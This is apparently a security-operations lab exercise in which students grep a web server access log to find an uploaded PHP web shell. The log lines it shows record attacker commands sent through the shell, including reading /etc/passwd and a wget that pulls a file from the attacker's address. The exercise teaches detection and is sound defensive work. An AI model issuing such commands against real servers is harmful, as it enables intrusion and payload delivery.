Finding the web shell

Upload, then command-and-control

After the scan you will see a POST (the upload) followed by repeated GETs to a PHP file in an uploads directory, each carrying a ?cmd= parameter. That is a web shell: the attacker running commands on the server through the browser. Pull those requests out:

grep -E 'POST|cmd=' /srv/soc-data/web/access.log

In the terminal

student@vulntech:~$ grep -E 'POST|cmd=' /srv/soc-data/web/access.log
203.0.113.66 - - [10/Mar/2026:08:12:02 +0000] "POST /upload.php HTTP/1.1" 200 61 "-" "Mozilla/5.0 (compatible; scan)"
203.0.113.66 - - [10/Mar/2026:08:12:20 +0000] "GET /uploads/avatar_8842.php?cmd=id HTTP/1.1" 200 140 "-" "Mozilla/5.0 (compatible; scan)"
203.0.113.66 - - [10/Mar/2026:08:12:23 +0000] "GET /uploads/avatar_8842.php?cmd=uname+-a HTTP/1.1" 200 150 "-" "Mozilla/5.0 (compatible; scan)"
203.0.113.66 - - [10/Mar/2026:08:12:26 +0000] "GET /uploads/avatar_8842.php?cmd=cat+/etc/passwd HTTP/1.1" 200 160 "-" "Mozilla/5.0 (compatible; scan)"
203.0.113.66 - - [10/Mar/2026:08:12:29 +0000] "GET /uploads/avatar_8842.php?cmd=wget+http://203.0.113.66/x HTTP/1.1" 200 170 "-" "Mozilla/5.0 (compatible; scan)"

The decoded cmd= values (id, uname -a, cat /etc/passwd) tell you exactly what the attacker looked at once they had code execution.